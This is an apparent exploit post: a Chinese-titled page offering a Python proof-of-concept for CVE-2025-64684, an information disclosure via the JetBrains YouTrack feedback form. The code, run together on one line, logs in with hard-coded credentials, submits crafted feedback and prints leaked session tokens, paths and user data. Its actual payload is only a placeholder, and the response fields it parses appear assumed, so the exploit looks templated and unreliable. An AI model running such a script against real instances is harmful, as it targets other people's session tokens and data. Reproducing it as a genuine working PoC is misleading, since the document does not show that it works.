CVE-2025-64684 JetBrains YouTrack 反馈表单信息泄露漏洞

# CVE-2025-64684 PoC - JetBrains YouTrack Information Disclosure # Affected: JetBrains YouTrack < 2025.3.104432 # Vulnerability: Information disclosure via feedback form import requests import json TARGET_URL = "https://youtrack-instance.com" LOGIN_URL = f"{TARGET_URL}/api/user/login" FEEDBACK_URL = f"{TARGET_URL}/api/feedback/submit" def exploit_cve_2025_64684(): """ Exploit for CVE-2025-64684: Information disclosure via feedback form """ session = requests.Session() # Step 1: Authenticate with low-privilege account auth_data = { "login": "low_priv_user", "password": "password123" } try: # Login request login_response = session.post(LOGIN_URL, json=auth_data, verify=False) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Submit malicious feedback to trigger information disclosure # The vulnerability allows disclosure of sensitive information through # specially crafted feedback content feedback_data = { "subject": "Test Feedback", "description": "{{INJECT_PAYLOAD_FOR_INFO_DISCLOSURE}}", "type": "feedback", "includeSystemInfo": True } # Send crafted feedback request feedback_response = session.post(FEEDBACK_URL, json=feedback_data, verify=False) # Step 3: Extract leaked information from response if feedback_response.status_code == 200: response_data = feedback_response.json() # Check for leaked sensitive information leaked_info = { "session_tokens": response_data.get("sessionInfo", []), "internal_paths": response_data.get("filePaths", []), "user_data": response_data.get("userInfo", {}) } print(f"[+] Information disclosure successful!") print(f"[+] Leaked data: {json.dumps(leaked_info, indent=2)}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": print("CVE-2025-64684 - JetBrains YouTrack Information Disclosure") print("=" * 60) exploit_cve_2025_64684()